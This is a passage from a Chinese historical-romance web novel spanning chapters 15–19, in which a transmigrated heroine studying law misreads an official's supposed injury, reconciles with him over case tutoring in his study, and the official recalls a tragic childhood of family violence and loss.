想到这些,苏蔺安便忍不住笑意,没想到表面成熟冷漠的裴翊也有这样的一面。
半个月的时间便在这份险境中的静谧里过去了。
六月到了,天气也逐渐热了起来。
苏蔺安坐在那座湖心亭里,一手翻看裴翊的手册,一手查找着法典中对应的条例。她正找到个有趣但难搞的案例,查找了好几天资料都看不明白这个判案方式。
“夫人,夫人!大人回来了!”倏然,暮安不知从何处窜出来。
苏蔺安听到这动静几乎是立刻便放下了手中的书册,下意识便跟着暮安迅速往前院跑去。
甚至来不及思考这么做的原因。
前院已经摆好了接风的菜色,裴翊尚未至,苏蔺安便与下人们一起站在前院门前等待。
不过一炷香的时间,
街上尘土渐渐飘了起来,密集而沉重的脚步声出现在耳边,只见一身墨衣的男子骑于红马率领一大片乌压压的军队缓缓朝府内走来。
片刻后,为首的男子样貌愈发清晰。
半月未见,裴翊看起来瘦了些许,但不是干瘦,而是训练过后精壮的瘦,风餐露宿,肤色黑了点,面上也铺着层淡淡的疲惫,却不显邋遢,反倒为原就英俊的外形更添一分男人血气,脖颈布着条细细的划痕,似是受了伤。
苏蔺安上上下下仔细的将男人扫了一遍,生怕疏漏了什么。
裴翊翻身下马。
两人沉默地对视着。
前一刻,苏蔺安觉得自己有许多想说的。想问他重犯抓到了吗,想问他过得怎样,想问他可曾受了伤,甚至还想问问他自己发现的难案该如何理解。
但现下,她却一个字也说不出来。
良久,裴翊语带哑意,“这些时日可还好?”
15. 受伤
她点点头。
于是他也点点头。
一阵沉默后,苏蔺安看着他身后还在等待的士兵,缓缓开口:“先进屋吧。”
屋内已然布好了饭菜。
苏蔺安先行落座,视线却忍不住往他脖颈上那处伤口瞟。
细长,但已经结了痂,不是这几天的事,想来没什么大碍。
她的心稍稍安下些许。
裴翊站在她的身侧,下人低声指明他的位置。
苏蔺安感受到裴翊视线落在她身上片刻,紧接着男人抬步,从她的身侧绕过,默声落座。
只是在两人贴近的那一刻,他的袖摆不小心碰到她披肩的长发,一触即离,却带来一丝奇怪的味道。
苏蔺安拿筷的手忽然一顿,下意识抬眼瞧过去。
那是一股夹杂在熟悉书卷味中极其淡,极其轻的血腥味。若不是苏蔺安生来对此十分敏感,恐怕根本不会注意到。
裴翊受伤了?
但他脖颈上的伤口早已结痂,定不是那处散发的,也就是说,裴翊身上还有其他的伤口,且不小。
苏蔺安不自觉皱起眉头,一颗心悬起来。
受了伤,为何见他面色如常,为何又不见他唤李太医呢?
莫不是有什么不能说的隐情......
担忧与疑虑堆满苏蔺安的内心。
却更是因为这份裴翊不正常的反应,她畏手畏脚,保险起见,只能将这些疑问通通吞回肚子。
面上的忧虑却怎么也藏不住。
她欲言又止地看了裴翊一眼又一眼,却始终未开口。
“怎么了?”男人挑了挑眉。
苏蔺安看看裴翊那几乎看不出来受伤的脸庞,又看看他那身墨衣,眉间的褶皱愈发紧,片刻后突然低下了头,浑然没有回答的意思。
?
裴翊转头,脸上神情不自觉冷了些,“我不在的这段时日发生了何事?”
暮安一无所知愣愣摇头。
见裴翊还有打破砂锅问到底的趋势,苏蔺安连忙抬头,伸手拦他,“无事。”
男人半信半疑地问:“果真?”
“比真金还真!”
但裴翊看起来并没信她这话,他眉心蹙起个极小的褶皱,沉沉地望了她好几眼。
“有事便直说,没关系。”
苏蔺安还是摇头,担忧的视线却怎么都忍不住,落在裴翊的身上。
“这衣服有什么问题吗?”裴翊随着她的视线望了眼自己的衣裳。
苏蔺安呼吸一顿,知道他这是没得到个合理的答案便不会就此罢休了。
她看向裴翊脖颈上的伤口,略带试探,“这趟途中,你可曾受了伤?”
裴翊像是从未发现这个伤口般,他略低了头,骨节分明的食指随着苏蔺安的视线摸索着按在了颈部,片刻后,在那伤口前后摩挲了一番。
“我竟才知晓这有道伤。”裴翊淡笑,“大概是前几日不小心割到的。”
闭口不谈其他的地方。
苏蔺安原本准好的话立马咽下,她稍稍收回前倾的身体,“嗯,那便好。”
或许真的不能说出口吧。
她知道,像裴翊这般大的官职,不管遭遇什么都要先瞒着众人,他的一举一动都影响朝堂的布局。
但真正遭到隐瞒的那一刻,心绪还是不可避免地有些降温。
就连前一刻,兴冲冲想去问裴翊那个疑案的劲都瞬间消散。
“这半月你在此可好?”裴翊打破突然袭来的沉默。
苏蔺安夹饭的动作一顿,冷静平淡地回:“挺好的。”
“研究律法的进度如何?”
“挺好的。”
“下人可曾短待你?”
“没有。”
许是察觉到她冷淡的态度,短短几句话后裴翊便住了嘴。
两人不尴不尬地用完一顿饭,桌上紧张的气氛连带着流汐与暮安也心惊胆战。
-
夏日的晚风很是舒适。
苏蔺安没有前几日那般坐在湖心的亭子中研究书册,倒是老实地窝在厢房里,对着面前的法典不知是研学还是出神。
几日前就开始困扰自己的疑案还是没有解决。
她是个急性子的人,很少将一件事拖之又拖,因此格外烦躁。
望着面前的书册,苏蔺安的心思却早就飘到了远处。
也不知裴翊现下伤养得如何了......
他受伤,现下急需修养,重犯才被拿下,定然还有一堆事需要收尾。
自己为这么点小事去找他,实在是太浪费他的时间了。
但这府上还有谁精通律法呢?
她默默地想。
片刻后,一个名字缓缓浮上心头。
暮安。
他是跟随裴翊多年的得力干将,本事绝对够硬。
苏蔺安再也不想拖延,得到暮安的下落后便径直过去。
“暮安。”
暮安听到动静转身,“夫人,你是来找......”
“我是来找你的。”她直直打断暮安的话,下意识不想听见后面那个名字。
她将手边的书册拿出来,翻到困惑的那一页,语气温和,“这个案子我看不懂,可否请你看看。”
“但大人就在......”
还未说完,苏蔺安便狠狠清了清嗓子打断他,她掐着腰,表情严肃,“暮安,你知道我是信任你才来问你的。”
“......好吧。”
赶鸭子上架。
暮安接过册子,认真研究起来。
良久,只见他的眉头越皱越深,望着暮安这表情,苏蔺安心下一紧。
果不其然,没多久暮安便挠头递回了册子,“这,抱歉夫人,我也没看懂。”说完他顿了顿,贴心地将房门拉开,“夫人为何不去问大人?他就坐在里头呢。”
苏蔺安下意识扭头往屋内看去。
......
裴翊就站在离他们一丈不到的位置,脸上浮着层奇怪的情绪。
门骤然拉开,苏蔺安与他猝不及防对上视线。
下一刻,便听见男人带着山雨欲来前的平静缓声道:
“怎么不来问我?”
“大人方才不是还坐于书案后吗......”暮安下意识惊叹。
苏蔺安却全然没心思注意他这句,注意力都放在了裴翊刚才那句问话上。
为什么不去问他呢?<
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是啊,她为什么要舍近求远去问一个不一定理解这案子的人。
也许是因为害怕他事务繁忙,打搅到他;也许是因为不知晓他伤情的具体动静,担心他在养伤;也许是因为当初询问他可曾受伤时,他那句肯定的没有。
但说来说去,其实都是因为她心里那个不愿说出口,不愿承认的自尊心罢了。
前些时日的相处,让她误以为自己与裴翊其实早就放下对互相的戒备,至少是普通朋友的关系。但今日的隐瞒,让苏蔺安知道,其实也不过如此。
她淡淡移开先前落在裴翊身上的视线,像对一位陌生人般冷漠,“如此小事,怎可惊动大人。”
她感觉到身上这道视线在这句话结束后便逐渐失了温,苏蔺安紧紧掐着手心,逼着自己不去看,不去想。
良久,才听见裴翊相较于她更加冷厉的声音,“好,可以。”
头顶的烛光将两人的背影都投射至地上,苏蔺安眨了眨眼,视线倏然变得有些模糊,她看见自己黑影旁的那一个似是用力地点了点头,幅度大到光靠影子便能看得一清二楚。
心脏像是被浸泡在气泡水中,酸且涩。
她下意识不想面对这个画面,扭头扯了个假到不行的借口,也不管另外两人的反应,抱紧书册就开溜。
接下来的几日苏蔺安出于不知名的原因都一直窝在自己的厢房中,最大的活动路线便是在厢房前的小花圃逛一圈。
也正是因此,自那日后她始终没有和裴翊碰上面。
两人的关系似乎回到了她刚穿越的那会,生疏、冷淡,只是同住在一个屋檐下的陌生舍友。
苏蔺安对此感到安心。
倒是流汐好奇地问了一嘴,“夫人前些日子不是很喜欢去那亭子乘凉吗?”
她当时是这样回的,“它的主人都回来了,我怎好接着鸠占鹊巢。”
但这样躲着也有缺点,闷在一个小小的厢房这么久,对身心都不好。
终于,四五日后暮安前来求见,称裴翊因急事出差,归期未定;苏蔺安好奇地询问究竟是个什么急差,他却支支吾吾答不上来。
大概又是些需要瞒着她的任务吧,她不咸不淡地笑了一下,道好。
既裴翊不在,苏蔺安也没有先前与他客气的意思,她又搬着书册与法典去了湖心的小亭,接着钻研。
外头烈阳照地,里面微风习习,还能时不时看一眼湖中即将盛开的荷花苞,舒适宜人,只是下人们似贪懒去了,乍一看小湖边竟无一人的身影。
苏蔺安理解地没有追问,她略过了之前那道难倒自己的难题,将注意力皆投到接下来的案件中。
不知过去了多久,耳畔响起轻微的簌簌声,夕阳时金黄的光斜斜照进小亭,细细的灰尘浮现其中,一阵熟悉而颤人心弦的书卷墨香便是趁此时苏蔺安不注意下悄悄漫延过来。
她翻动书页的动作一停,僵在原地。
短短几个呼吸的时间,便有愈发耳熟的脚步声传来,一步一响,像一根看不见的红线,缠住苏蔺安脆弱的心脏,肆意牵动。
脚步越来越近,耳畔的心跳声也越来越大,最后响到几乎掩盖了几丈外的动静,只剩长鸣。
“苏蔺安,你在躲我吗?”
16. 簪子
万物寂静。
她缓慢地阖上面前书页,说出的话也一字一顿,“没有。”
“没有吗?”那人反问。
“没有躲我,你去问暮安案件;没有躲我,你几日不出厢房;没有躲我,你确定我离府后才又来到这座亭子。”
苏蔺安低下头,她咽了咽喉咙,眼眸不自觉放大。
她想不那么心虚地说,“是的,”
但裴翊于她开口的前一刻,嗤笑一声,冷淡又嘲讽地说:
“你说没有,自己信了吗?”
他一句接着一句,字字珠玑,短短几句,将她杀的片甲不留。
苏蔺安僵硬地,像个被设定好程序的不成熟机器人般慢慢收拾起桌上的书册。她下意识觉得现下这样混乱的情况并不适合她与裴翊一下争个高下。
男人对此一言不发,但苏蔺安却能感受到他一直落于自己头顶的视线,沉重、肃穆。
心底愈发慌乱,她努力忽视这道目光,迅速收拾好东西,向亭外走去。
突然,就在她路过裴翊的那一刻。
一只温热的手握住了她的手腕,很用力很用力,几乎要将她攥的发疼,丝毫没有放她离开的意思。
苏蔺安尝试着挣脱了几下,却都无功而返。
“你什么意思。”她敛下眸子,冷冷地问。
“这话该我问你。”
“蔺安。”
男人就这样堵在小亭的唯一一个出口处,薄薄的眼皮垂下,黑眸沉沉地注视着她,颇有分不说清楚不让走的气势。
语气却又是那般无奈温柔:“究竟发生了何事?”
苏蔺安视线默默移到了他的身后,她倏然发现,裴翊身上那股血腥味已经淡去许多,她现在一丁一点都未曾闻到。
“你的伤好了?”她避开裴翊的问话。
裴翊愣了一刻,表情有些莫名,“一道小口子,早便好了。”
见他现在还在装傻,甚至在前一刻还厚颜无耻地那样询问自己。
苏蔺安一时间竟笑出了声。
见裴翊不解地望过来,她略带嘲讽地开口:“我曾在你归来那日嗅到你身上的血腥味。”
点到为止。
裴翊好看的眉头微微皱起,脸上流出回忆的神色,须臾后,像是豁然开朗般明白了她的未尽之言。
“我的确没有受伤,但在回来前曾审问了一犯人。”
他这话完完全全是照着苏蔺安的风格说的,一点即通,又给互相都留了余地。
臂弯中的书册骤然掉在地上。
苏蔺安想到裴翊的一万种解释方式,且都做好了坚持不原谅要与他拉开距离的准备。
但从未料到这几日竟是个彻头彻尾的误会。
沾染灰尘的书册被一双有力的手拿起,轻轻掸掉上面的污物,重新递到了苏蔺安的面前。
“哪个案子不会?”
没有洗白,没有调侃,没有嘲笑,他就这样自然又生硬地话题转到另一件事上。
裴翊闭口不言误会,让她剩下的自尊被妥善接住。
苏蔺安此时竟万分庆幸他这份独特而成熟的分寸感。
她沉默着,脸颊却已然蔓上了淡淡的羞红,被一种名为“羞愧”的情绪占满,心绪凌乱。
“没有不会。”
在现下这种情况,她早已失去了麻烦裴翊的勇气。
男人视线定定落在她头顶须臾,裴翊突然低下身。
一张俊脸骤然放大出现在苏蔺安的眼前,他们不再有身高差距,而是平行着对视。
“蔺安,这只是个小误会。”她看着裴翊掀唇,缓缓道:“你更不必为此羞愧自责。”
裴翊根本不知道,他这样的态度,只会让她更加不上不下。
苏蔺安移开脑袋,乱七八糟的思绪像毛线,糅杂成一个解不开的团,混乱。
“哪题。”片刻后,裴翊也不再提这事,接着询问最开始的问题。
相较于前一个话题,这个便好回答许多。
苏蔺安活动了下僵硬的肩,犹豫地翻向那直到此刻都没有解开的案件。
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裴翊目光专注地落在那书页片刻,“去书房吧。”
苏蔺安向他投去个疑问的眼神,不懂为何一下便要换个场地。
“里面有很多关于案件的书籍。”
精准地戳中了她的心动点。
两人很快结伴过去,才将将坐下,裴翊便耐心地为她解答起来,苏蔺安思绪一下被占满,分不出一刻心神愧疚先前的事。
直到夕阳彻底落下,下人在屋外点亮照路的灯笼,裴翊才结束,而她听得酣畅淋漓,意犹未尽。
不得不说,裴翊当真是个好老师,讲解案件通俗易懂,并且还会联动经典案件配合法典与当时的判案结果举例,配上他的手记,事半功倍。
苏蔺安有些小心地询问:“那些书册可否借我些时日?”
裴翊在这些物件上向来大方,他不出所料地点点头。旋即那道思考的视线便不自觉落到正在整理书籍的她的身上。
突然,苏蔺安便听见裴翊吩咐暮安进来,她下意识看过去,便见裴翊向书房的一处空置处抬了抬下巴,“明日在那放张桌椅。”
那地方就在书房窗下,光线优越,书架更是只有一臂之遥,拿取方便,是个极佳的位置。
苏蔺安在心底暗暗赞叹一声。
下一刻,裴翊的视线蓦地便转到她身上,倏然开口:“把书放下吧。”
“嗯?”她不明所以,却还是听话地将那些书册放回桌面。
“以后便在此研习律法吧。”裴翊淡淡解释,先前的桌椅似乎也明了究竟是为谁准备。
不知是不是苏蔺安看错,他似是朝暮安的方向瞥了一眼。
“有不会的直接问我便好。”
......
他这话同时点了两个人。
苏蔺安一时被闹了个脸红,但还是知礼数地上前一步,准备对裴翊道谢。
但就在开口的前一刻,她顿住。
裴翊的桌上摆着根小巧银簪,银丝为身、外形隽秀。
是她在被王棋绑架时丢的那根。
17. 书房
“怎么?”裴翊一句话将她放空的思绪拉回来。
“如此会不会太过麻烦你?”苏蔺安下意识扯了个别的话题。
裴翊沉稳的目光落在她身上片刻,斩钉截铁,“不会。”
“书房里关于律法的书籍良多,你于此学习只会方便。”他冠冕堂皇,像是没有一丝一毫的私心。
话已说到这个程度,苏蔺安无法拒绝,也不想拒绝。
她清楚裴翊这个书房对自己的吸引力究竟有多大。
“既如此,便先行谢过大人了。”
旋即她匆匆找了个理由退下。
脑海里全是自己那根玉簪躺在裴翊书桌上的模样。
是裴翊忘记归还了吗?可玉簪摆在书桌那样明显的地方,若想归还,在方才裴翊便该把簪子递给自己;可只是同个款式?但那根玉簪上还有曾经被她不小心掉在地上后留下的痕迹。
任苏蔺安想破脑袋也想不出裴翊为何要将玉簪放在书桌上那般明显的位置却又不归还的理由。
沉思良久,她难得地选择了逃避。
将这个问题埋藏于心底。
接下来的几日,苏蔺安顺理成章地来到裴翊书房钻研律法,一开始她还有些羞涩,遇到难题并不敢直接问裴翊,总是自个皱着个眉头在那条裴翊为她准备的长桌前默默沉思。
裴翊每次都会在不久后注意到这动静,然后将她喊到跟前,仔细为她解答起来。
但他也不是日日都可以这样细心,将所有余光都放在苏蔺安的身上。
于是在一个风和日丽的下午,苏蔺安被他拉到跟前,男人语气严肃又认真,黑眸沉沉似浓雾。
“苏蔺安,直接问我问题并不麻烦,有却不说,全然靠我发现再为你解答才是真的耗费精力。”
自那句话后,苏蔺安便一改前面的习惯,次次有题就问。
短短数日,两人间距离恍然拉近许多,连流汐都时不时惊奇于他们的亲密。
慈山的夏,阴晴不定。
苏蔺安刚起身时,外间还是温暖阳光,不过半个时辰的时间,她走到前往书房路上时,雨便唰啦唰啦地下来了。
她没带伞,只能用手掌勉强遮挡在脑袋前。
好在离裴翊的书房已经不远了,小跑片刻,便到了廊下,外衣被淋的有些糟糕,丝丝寒意顺着往里渗,几缕被雨水粘在一起的刘海黏在鬓角,潮湿粘腻。
应该很狼狈吧。
看到她这模样,书房前守着的暮安试探着喊了一声:“夫人?”
苏蔺安朝他扯了扯嘴角,便进了书房。
她不想以这样的形象接着出现在他人的面前,况且自己刚发现了个有趣的案件,正是想与裴翊分享的时刻。
而屋内的裴翊显然也被她这样的形象吃了一惊。
苏蔺安清晰地瞧见,原本于桌后悠悠观书的男人抬头看清她的境遇后,向来古井无波的眼眸微颤了一刻,一个呼吸后,裴翊直直站起身,眉心一拧,视线紧紧锁着她。
气氛无形中变得有些严肃。
她想宽松宽松氛围,便耸肩用无所谓的口吻说:“突然下雨,没带伞被淋了。”
裴翊视线缓缓转移到她贴在身体上的外衣,情绪不明。
良久,他问:“冷?”
这是必然的事,苏蔺安点点头。
裴翊唤来门外的暮安,“煮碗姜汤来。”
他视线又慢慢向上移,与她对视,语气不复平日的冰冷,“你先坐。”
苏蔺安下意识点头,愣怔着坐到那条为她准备的书案后,不自觉将目光透到屋内的另一人。
裴翊转身去了书房深处,那处除了书架外便只剩一条供人休憩的长榻,她并未去过。
而裴翊在那停了脚步,沉着的视线扫了一下那,旋即走到长榻的一侧,苏蔺安这才发现,那竟立着个落地木架,裴翊单手将上头的黑毯取了下来,徐徐转身。
“披着吧。”
苏蔺安眨了又眨,一下没反应过来。
许是见她无反应,裴翊又掀唇,“没用过,每日更换,全新的。”
她一下便接过了这毯子,怕让裴翊误会嫌弃,还解释了句:“一时没反应过来。”
同时,暮安也带着热气腾腾的姜汤与巾布来了。
苏蔺安接过巾布仔细地擦拭着身上的水渍,而她的面前,裴翊那只修长的手正缓缓拿起姜汤壶,皓白的手腕也由此不经意露出,手背上青筋微微鼓起。
他敛着眼皮,黑睫在窗外淡淡的光线下变得模糊,他唇微微抿着,神情专注而迷人。
屈尊降贵,赏心悦目。
片刻后,他将那碗盛好的姜汤放在苏蔺安身前的桌案上,又缓慢地推到了她的眼下。
苏蔺安先是盯着那碗棕红的姜汤,旋即视线跟随着汤碗旁那只手一寸、一寸地向上攀爬,略过轻点的手指、略过宽阔的胸膛、略过凸起的喉结,直到与裴翊的视线对上。
“扑通、扑通”
有奇怪的动静在身体内横冲直撞。
裴翊说:“喝吧。”
苏蔺安看着他将与汤碗配套的青瓷勺放进姜汤中,又端起递到她的面前,低低应:“嗯。”
她小心地接过姜汤,一勺一勺地缓慢喝着,而对面的那道视线始终没有消失。
喝完后,苏蔺安将先前一直闲置的黑毯小心地披在身上,与姜汤配合,很快便驱赶了先前身上的寒意。
整个人好受多了。
她垂下头,很是真挚,“谢谢。”
书房又归于寂静,苏蔺安缓了良久,她将袖中的小书册掏出来,翻到那个案子处,隔着几丈的距离,她开口:“我发现了个极有趣的案子。”
“嗯?”裴翊从眼前的文书中抬头。
旋即苏蔺安看见他的视线转移到她手中的书册,顿了片刻,裴翊音线不自觉放沉,“我看看。”
话落,他倏然起身,朝苏蔺安走来,屋内被他带起一阵微微的风,熟悉的书卷气随之而来。
她下意识闭了下眼,再睁眼时,裴翊已经站在了书案的斜侧,正沉沉注视过来。
“我可以坐在这吗?”
苏蔺安怔了一瞬,想象到裴翊站着为自己讲解案子的画面。
与上课无异。
她连忙地点头同意,甚至还体贴地将一个垫子放在那处。
书册放在书案上,离裴翊还是有些距离。
他倒也不抱怨,默默倾过来,上半身在一瞬之间与苏蔺安只剩下一个拳头的距离,近的过分。
甚至能感受到男人轻轻的呼吸。
裴翊望着那片刻须臾,便开始如往常般讲解。
苏蔺安看着他黑睫时不时眨动,像鸦羽,指尖体贴地落在描述案件的文字下。
她目光忍不住往下移,最终停留在一张一合的薄唇上,耳边早已听不见裴翊的声音,像是在观赏一幅静默的画。
再往下,是裴翊的下颚,棱角分明,然后是喉结,她脑海里还有这东西时不时滑动的模样,再再下,便是胸膛,可惜裴翊今日穿的严实,只露出了短短一段锁骨。
苏蔺安下意识为此可惜,紧接着便被自己前一刻的行为与想法吓到,她怎么会这样堪称下流地看裴翊,甚至还为看不到感到
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可惜......
就在她默默唾弃自己时,书房似乎彻底安静下来了。
......
苏蔺安睫毛倏然有些抖,她缓缓又缓缓地抬起脑袋。
先前认真解答的裴翊正略闲适地单手撑着脑袋,他歪了歪头,衔着个略带兴味的笑,看不出真正的情绪。
“好看吗?”
......这个裴翊。
她紧张地咽了咽,昧着心说:“什么好不好看?”
裴翊挑眉,视线落在苏蔺安的脖颈,轻笑一声,意有所指,“想来还可以。”
她该如何解释自己真的不是因为眼馋咽的口水?
苏蔺安有些绝望地将视线投到天花板。
“柳大人求见。”
好在这时,暮安的通报救了苏蔺安一命。
她像是见到救星般满血复活,期待地望着裴翊,就等待着那句“退下”。
但男人只是稍稍拉开了与她的距离,踱步回到先前的长桌,“进。”
柳大人神色匆匆,额头还覆着层薄薄的细汗,才进来,便急不可耐地张开唇,“大人,慈山......”似是有什么急事。
但在扫到苏蔺安的存在后,他硬生生止住了嘴,将说出口的话僵硬得转了个圈,“慈山的风景可真好啊!”
倒是难为柳大人一把年纪这么辛苦了。
苏蔺安忍不住想笑,自然也明白其中原因。
她将桌面的书册收好,憋着笑意,“那我便先退下了。”
“苏蔺安。”
没曾想,才起了身便被裴翊叫住。
她闻声看去,裴翊食指又放在了手边的瓷杯上,一圈一圈地摩挲着,极其耐心。
“研究明白案子了吗?”他不急不缓地问。
讲解时她全部心神在哪他不知道吗?
苏蔺安闷闷地答:“尚未。”
裴翊像是早有预料般点点头,像是严师般淡淡吩咐到,“那便于此彻底搞懂后再走吧,我稍后为你讲解。”
她看不懂了。
这位柳大人朝裴翊使的颜色还不够明显吗,平日敏锐的他怎会一无所觉。
苏蔺安在心底叹了口气,决定再帮裴翊一把。
她拧着眉,朝柳大人的方向一下一下扭着头。
“柳大人可是有话要说?”
裴翊竟不按常理出牌,他无视苏蔺安的暗示,忽视柳大人的表情,冠冕堂皇地询问他的要求。
但,柳大人若能直说怎会拖这么久。
下一刻,他头便摇的比拨浪鼓还快。
裴翊满意地点了点下巴,转向苏蔺安,“去看案子吧。”然后命柳大人说事。
......
事已至此,苏蔺安也没了理由。
她老老实实地坐回自己的书案,开始研究先前那个走神的案子。
不知过了多久,裴翊与柳大人终于说完了事。
而苏蔺安也迫不及待地想要解放,她甚至先于柳大人一步,称自己悟了案件,旋即溜之大吉。
全然没有注意到裴翊在她身后那略带笑意的目光。
直到苏蔺安的身影逐渐消失在石子路末,裴翊嘴角那抹浅淡的笑意才彻底消失。
他随手翻开面前的一份文书,却见往常守在门前的暮安不知何时进了书房,欲言又止。
他挑了挑眉,分了个眼神过去。
他们十多年的默契,早无需话语便可自如沟通了。
暮安下一刻却径直跪了下去,头死死磕着,一丝缝隙都没露。
“大人是喜欢上了苏小姐吗?”
18. 开始
喜欢?
听到这个词,裴翊下意识怔了一瞬。
他侧头看向这位跟随他出生入死,自己尚是蒲柳时便跟在身边的老伙伴,却发现暮安的脸上没有一丝玩笑的神情。
暮安是认真的。
裴翊想说些什么,证明他对苏蔺安绝对不是暮安口中的那种情感。
掀唇,却喉头干涩,一个字也说不出来。
原来,这便是喜欢。
他突然不合时宜地想到父母。
裴翊出生于凉州的一个小山村,母亲是采桑女,父亲是猎户,他们青梅竹马在同一个村中长大,后来也在邻里们的见证下成了婚。
婚后虽然清贫,但他们却并未因此有过任何争吵,父亲每日都会去山中,每每傍晚都能带回来沉重的收获;母亲日日织布,半月便去镇上的集市售卖。
日子也在他们的努力下逐渐好起来。
父母每每去镇上也开始给他带些新奇玩意。
那时裴翊最喜欢的事便是坐在家中唯一的桌上,等待他们归来,等待新的玩具。
家中什么都破旧,唯有那张桌子崭新,他曾听邻居说过,这是新婚时父亲特地去山中砍木给母亲做的新婚礼物。
母亲也对这桌子爱护非常,时常擦拭,见他想往上爬,还会贴心护主桌边尖角,然后轻捶父亲,娇俏埋怨,“都怪你,做时不多考虑些。”
父亲便会顺水推舟地揽住母亲,甘之如饴:“好好好,都怨我......”
一家人温馨快乐。
也是他童年记忆中唯一的色彩。
直到有一日,父亲直到深夜才回来,不过是被一卷草席送到村门口的。
原来,父亲上山时不小心惊动了贵人们的猎物,像是理所当然般,于是他成了新的猎物。
说到这时,父亲看了他一眼便没有说下去,母亲已然泣不成声,抱着父亲的腿,说一定要为他讨个公道。
看到这幕,他隐隐意料到什么。
果然,父亲自那以后再也不能行走了。
母亲开始撑起这个家,她织布的手做出了竹轮椅,用那双扎满血星的手一次又一次推着父亲,带着他,去镇上的衙门报案。
却始终没人敢受理。
直到有次,一个年轻的好心知县终于将他们放了进来,但带来的却不是好消息。他告诉他们,伤害父亲的人身份尊贵无比,就算他们到了京城的衙门也无人敢讨一个公道。
因为斗不过。
斗不过。
那日后,父亲的心气就像是散了。
他不再接受治疗,不再愿意去衙门,甚至原本温和的人也变了个样。
他开始酗酒,心情不好时便会装成一副和蔼的模样骗母亲或者他过去,然后狠狠地重拳打到他们身上。
一开始,他看透了父亲的招数便不再过去,但后来他发现自己挨了揍,发泄完的父亲便不会再对母亲动手。
于是他选择主动走过去。
母亲还是很坚强,她理解父亲的痛楚,她知道一个猎户再也无法站起身的心情。
她还是会卖布,只是从半月一次到日日去镇上推销;她还会去问医馆按摩手法,即便受父亲辱骂也会给他按摩穴位。
她日日将那方结婚时父亲送给她的桌子收拾得一干二净,仿佛只要桌子还是未出事前的崭新模样,先前那个温和成熟的夫君便早晚能够回来。
他记得那是个极坏的天气,也是母亲最爱的天气。
外面大雨倾盆,地上的雨水又流到家里来,湿漉漉的,地上铺了一整层能够淹没到小腿肚的水。
父亲皱着眉,一下又一下捶打着腿。
裴翊知道,那是他泡水酸痛的表现。
他走过去,清理起父亲身周围的水渍,却在下一刻被揪住头发,狠狠地殴打。
他早已麻木,面无表情地受着,却不知道这样更容易引得父亲生怒,就在父亲举起马扎将他头顶砸去的那一刻,母亲赶回来了。
她一下将他护在怀里,声嘶力竭:“你平日对我动手便罢了,凭甚对小翊下手!”
他不记
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得那日后的心情了,只知道那天世间所有的颜色都变成了黑白。
他的心,也冷到了极致。
父亲一把推开身上护着他的母亲。
母亲被脚下的水滑倒,一个踉跄,后脑磕在了那崭新的、洁白的木桌尖角上。
那天,血流了很远,顺着地上的雨水,一直流到外面去,而他与母亲间却一片清澈,那是母亲用生命为他划出来的清白界限。
母亲眼睛瞬间瞪大,似是感受到生命的流逝,她朝他招了招手,断断续续说不出一句完整的话:“小翊,好好走下去。还有...不要怪他。”
这个“他”是谁,他们都清楚。
母亲大概也没想到,这几年一直呵护的桌子竟然夺走了她的性命,原本的夫君也终究回不来。
父亲目眦欲裂,一片混乱中,好心的邻居捂住了他的眼,将他带走。
很久以后,裴翊才知道父亲在母亲去世的那日突然下了轮椅,也不知坐在上面多年的他哪来的力气,竟然一人独自爬到了山顶,决绝地跳了下去。
自此这个世上,他孤身一人。
裴翊倏然回神。
父亲母亲糟糕的结局还烙印在他的心中。
便是他们那样好的开局,都要落得这样一个唏嘘的结尾。
那他和苏蔺安呢?
毕竟从始至终,他都清楚这个“苏蔺安”不是原本的苏蔺安,是某天忽然出现的“苏蔺安”。
她生动、活泼、有抱负,遇到事也从不逃避,她富有怜悯、心怀善意,总想去帮助他人。
他能随口说出她的一万个优点,心中却始终埋葬着一个小芽。
一个,她会随时离开的小芽。
裴翊思绪止住。
若一开始便知道了必定的结局,那么他不愿开始。
天气阴沉,雨愈发大了,豆大雨滴砸在草坪中,将绿植都压弯了姿态,滴滴雨水从长廊的瓦片下滑落,模糊了廊下的身影。
裴翊缓缓漫步其中。
徒留一串淡淡的雨痕。
19. 心疼
昨日那个案子苏蔺安本想自己回去琢磨,想着一晚怎么也可以琢磨出来的。
但每每当她有点思路时,总感觉像隔着片浓雾般,根本看不清案件的本质。
望着手中的案件片刻,她在心底为自己鼓了把劲,还是决定小小地“麻烦”裴翊一次。
她随手抓住个偶遇的小厮,“大人眼下在何处?”
“大人早早便出了门,现下还未回来呢。”
苏蔺安动作一顿,倒是忘了今日裴翊还需上值。
那到晚餐时问也是一样的。
她无所谓地想着。
苏蔺安慢慢逛到裴翊的亭子里,她知道裴翊下值时一般都会先来这边找她。
短短几日下来他们已然形成了新的默契。
她一边翻看着手中的案例,一边等待着男人的身影。
但今日她的运气格外差,直到黄昏,流汐催她过去用饭时她都没有见到裴翊的身影。
心底突然涌上一阵毫无源头的慌乱。
难道是大理寺又过来找他了吗?又让他去协捕犯人了?
莫不是受伤了?
苏蔺安呼吸微顿。
除了这个理由她想不出别的裴翊为何下值后不来亭子的原因。
她随着流汐慢慢走到正院的用饭处,默默祈祷着能在那见到裴翊的身影。
但没有。
只有一个暮安孤零零地站在饭桌旁。
见她,理智又冷静地道出裴翊今日不来与她一同吃饭了。
先前的担忧仿佛一下都得到了印证,窗外的天也倏然黑暗下来。
“裴翊怎么了?”苏蔺安脱口而出。
她情绪很乱,将心底混乱的想法都一股脑说出来,“可是大理寺的人又来找他了?可是他受了什么伤......”
说出口的担忧越多,苏蔺安的心便越沉。
她紧紧盯着暮安,生怕错过任何一个字眼。
暮安却用一种分外复杂的眼神一直望着她,旋即欲言又止道:“大人没有出事,只是有些公务还未处理完。”
这话,假得太明显。
先前也不是没有公务没处理完的时候,但裴翊每每都会先放下那些陪她用餐,然后两人一同去书房。
他处理公务,她研究案子。
裴翊定然是出事了。
她笃定地想。
苏蔺安不敢再犹豫,立刻提着裙摆往男人的院子跑去。
短短的一段路,她却使出了百米赛跑的劲。
也不顾流汐与暮安在后头拼命追着,劝慰的话语。
裴翊的院子灯火通明。
苏蔺安在跑到那院子的前一刻,忽然就顿住了,浑身都失了力。
大门敞开,门边却出现了两个把手的小吏。
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她能清楚地看见院子内的景象,却不能上前一步。
苏蔺安怔住。
她看看肃穆的小吏,又回头看看身后的两人。
流汐面露担忧,暮安眼透心疼。
她忽然意识到什么。
但片刻后,还是决定上前一步,仰着头,询问高大的小吏:“我是裴翊的夫人,想见他。可否通报一声?”
小吏瞥她一眼,打量了片刻,才冷漠地点了点头。
从前便是刚穿越那会,苏蔺安也没有感受过这样的轻待。
喉咙忽然干到发疼,眼睛也酸胀到发麻。
